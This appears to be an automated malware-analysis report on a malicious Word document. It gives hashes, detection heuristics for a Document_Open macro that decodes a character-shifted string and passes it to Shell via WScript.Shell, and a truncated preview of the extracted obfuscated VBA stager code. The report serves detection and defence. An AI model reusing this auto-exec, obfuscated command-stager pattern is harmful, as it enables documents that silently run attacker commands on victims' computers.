Office (OOXML) malware analysis — malicious · 85bd95856d3b3ff5

MALICIOUS

Office (OOXML)

19.1 KB Created: 2021-02-21 18:36:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-03-01

MD5: eaae2e4d789baee310080fc332d569a2 SHA-1: 9011045e9785ce5220947e7c483cf2510c89f8f0 SHA-256: 85bd95856d3b3ff512bb559470c1cdb90d1b3182f377b4c55b2e46cb5a814f34

230 Risk Score

Heuristics 7

VBA project inside OOXML medium 5 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
WScript.Shell usage critical OLE_VBA_WSCRIPT

WScript.Shell usage
Matched line in script
```
   Set WQDWQEWQEWQ = CreateObject("Wscript.Shell")
```
VBA character-shift decoded Shell command critical OLE_VBA_ASC_CHR_SHIFT_SHELL

VBA auto-exec macro stores an encoded command string, decodes it with a Mid/Asc/Chr character-shift loop, and passes the recovered text to Shell. This is a high-confidence command stager.
Matched line in script
```
    For i = 1 To Len(strInput)
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
   Set WQDWQEWQEWQ = CreateObject("Wscript.Shell")
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Public Sub Document_Open()
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	20091 bytes
SHA-256: `55b61db0f8e732413403d4ba949a3adfe8b9dcbdfe7ef55b3eab42faaea2b6d4`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Dim ZsGaPPYHokRMRfW As String Public Sub Document_Open() ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "q" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "{" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "r" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "." ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "=" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "q" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "." ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "~" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "}" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "…" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "s" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "€" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "�" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "v" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "s" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "z" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "z" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "<" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "s" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "†" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "s" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "." ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + ";" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "s" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "\|" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "q" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "}" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "r" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "s" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "r" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "Q" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "}" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "{" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "{" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "o" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "\|" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "r" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "." ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "Y" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "]" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "U" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "c" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "r" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "…" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "‚" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "S" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "F" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "g" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "u" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + " " ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "U" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "c" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "g" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "…" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + ">" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "Q" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "b" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "u" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "z" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "V" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "_" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "Z" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "u" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "f" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "U" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "c" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "g" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "u" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "R" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "U" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "…" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "o" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "_" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "z" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "U" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "B" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "r" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "~" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "Q" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "B" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "`" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "„" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "V" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "q" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "p" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "u" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "�" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "U" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "F" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "g" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "_" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "y" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "S" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "g" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "o" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "_" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "�" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "U" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "c" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "Y" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "\|" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "U" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "u" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "r" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + ">" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "V" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "q" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "…" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "D" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "Q" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "F" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "Z" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "…" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "x" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "V" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "c" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "r" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + ">" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "Q" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "B" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "p" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "C" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "Q" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "F" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "e" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "u" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "€" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "T" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "W" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "a" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "…" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "[" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "T" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "o" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "_" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "\|" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "Q" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "…" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "Y" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "y" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "U" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "c" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "p" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "u" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "@" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "R" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "}" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "g" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "_" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "…" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "V" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "h" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "v" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "V" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "_" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "g" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "_" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "~" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "Q" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "�" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "X" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "…" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "q" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "U" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "S" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "g" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "…" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "z" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "U" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "F" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "p" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "u" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + ">" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "U" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "F" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "q" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "ƒ" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "U" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "c" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "s" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "z" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "Q" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "B" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "h" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "_" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "B" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "U" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "c" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "X" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "…" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "~" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "R" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "�" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "c" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "…" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + ">" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "U" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "S" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "q" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "u" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + ">" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "Q" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + ">" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "c" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "…" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "�" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "U" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "c" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "h" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "_" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "…" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "Q" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "[" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "u" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "E" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "Q" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "c" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "…" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + ">" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "U" 